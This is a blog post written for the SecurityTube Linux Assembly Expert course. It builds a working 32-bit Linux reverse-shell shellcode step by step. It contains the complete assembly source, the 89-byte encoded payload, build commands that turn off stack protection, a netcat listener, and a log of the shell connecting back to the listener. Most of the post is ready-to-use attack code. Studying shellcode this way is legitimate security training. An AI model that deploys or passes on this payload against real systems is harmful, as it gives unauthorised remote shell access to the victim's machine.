This blog series has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
Student ID: SLAE-877
To get the code provided in this exercise:
% git clone https://github.com/droberson/SLAE.git
The code will be within the Assignment-2 directory.
The previous post outlined how the basics of writing shellcode and the prerequisite knowledge required to get started. If anything seems confusing, please start at the beginning.
What is a Reverse Shell
Reverse shells are preferred over bind shells in many cases. These types of shells require the attacker to set up a bind shell on a machine that they control to “catch” a connection established from a victim machine. This is useful for attacking machines that have firewalls or are behind NAT. Many firewalls filter inbound connectivity much heavier than outbound, but almost always allow outbound on ports 80 and 443 for web browsing purposes.
These are called reverse shells because they literally work in reverse of a bind shell:
- Bind shell: attacker connects to victim in order to establish a shell session on the victim’s machine.
- Reverse shell: victim connects to the attacker in order to establish a shell session on the victim’s machine.
The following C code outlines what this shellcode intends to accomplish:
This code is a bit shorter than the bind shell example, but still involves many of the same system calls. This example connects to the localhost on port 4444 and executes /bin/sh, providing a shell session if there was a netcat listener present to catch the session.
This shellcode suffers from the same problem as the bind shell code with the bad port numbers that contain NULL bytes. In addition to this, if any of the octets of the IP address are zero, it will contain a NULL byte and spoil the shellcode. This can be worked around by encoding the IP with something basic such as addition or xor, but this adds size to the shellcode and isn’t necessary for this demonstration.
Using the higher level C code as a guide of what I intend the shell code to do, knowing the calling convention for system calls on Linux, and knowing how to deal with socketcall(), I was able to come up with this code:
BITS 32 ; python -c "import socket; print '0x%04x' % socket.htons(4444)" PORT equ 0x5c11 ; python -c 'import socket,struct; print hex(struct.unpack("<L", socket.inet_aton("192.168.10.126")))' HOST equ 0x7e0aa8c0 xor eax, eax ; zero out eax xor ebx, ebx ; zero out ebx xor edx, edx ; zero out edx add eax, 102 ; socketcall() inc ebx ; socket() -- 1 push edx ; IPPROTO_IP -- 0 push 1 ; SOCK_STREAM push dword 2 ; AF_INET mov ecx, esp ; address of args int 0x80 ; call socket() xchg esi, eax ; fd for socket xor eax, eax ; zero out eax add eax, 102 ; socketcall() inc ebx ; increase ebx to 2 inc ebx ; connect() -- 3 push HOST ; IP in network byte order push word PORT ; port in network byte order push word 2 ; AF_INET mov ecx, esp ; address of structure push 16 ; size of structure push ecx ; address of structure push esi ; socket descriptor mov ecx, esp ; save address int 0x80 ; call connect() ;; dup2 loop xor ecx, ecx ; zero out ecx mov cl, 2 ; initialize counter loop: xor eax, eax ; zero out eax add eax, 63 ; dup2() int 0x80 dec ecx ; decrease counter jns loop ; jump to loop if applicable xor eax, eax ; zero out eax push eax ; push null byte push 0x68732f2f ; //sh push 0x6e69622f ; /bin mov ebx, esp ; copy address of string push eax ; null push ebx ; address of /bin/sh mov ecx, esp ; push eax ; null mov edx, esp ; envp mov al, 11 ; execve() int 0x80 ; call execve()
In order for this to work, it is highly likely that you will need to change at least the IP address. Simply use the python one-liner provided above the HOST variable, and swap it out with the value you are provided. For a quick demonstration, I will change the IP from 192.168.10.126 to 127.1.1.1. I used 127.1.1.1 rather than 127.0.0.1 to eliminate the NULL bytes present in the default loopback IP address:
% python -c 'import socket,struct; print hex(struct.unpack("<L", socket.inet_aton("127.1.1.1")))' 0x101017f
Swap out 0x7e0aa8c0 with 0x101017f within revshell.asm, then build the shellcode and test programs using make:
% make gcc -o revshell revshell.c revshell.c: In function ‘main’: revshell.c:28:3: warning: null argument where non-null required (argument 2) [-Wnonnull] execve ("/bin/sh", NULL, NULL); ^ nasm -o shellcode revshell.asm gcc -m32 -fno-stack-protector -z execstack -o test test.c
In another terminal, set up a netcat listener to catch incoming connections on port 4444:
% netcat -nlvkp 4444 Listening on [0.0.0.0] (family 0, port 4444)
Finally, test the shellcode using test.c:
% ./test shellcode Testing shellcode contained in shellcode char shellcode = "\x31\xc0\x31\xdb\x31\xd2\x83\xc0\x66\x43" "\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x96" "\x31\xc0\x83\xc0\x66\x43\x43\x68\xc0\xa8" "\x0a\x7e\x66\x68\x11\x5c\x66\x6a\x02\x89" "\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x31" "\xc9\xb1\x02\x31\xc0\x83\xc0\x3f\xcd\x80" "\x49\x79\xf6\x31\xc0\x50\x68\x2f\x2f\x73" "\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53" "\x89\xe1\x50\x89\xe2\xb0\x0b\xcd\x80"; Length: 89 Executing shellcode..
The netcat listener shows that a connection was accepted. A quick ‘uname -a’ command verifies that this is a shell:
Connection from [127.0.0.1] port 4444 [tcp/*] accepted (family 2, sport 34528) uname -a Linux vagrant 4.4.0-66-generic #87-Ubuntu SMP Fri Mar 3 15:29:05 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
It works, but it is not perfect. The NULL byte limitations in IP addresses and port numbers is kind of unfortunate. This can also be made a few bytes smaller. There is one on Shell-Storm that is only 67 bytes! This is 22 bytes (25%) smaller than what I came up with.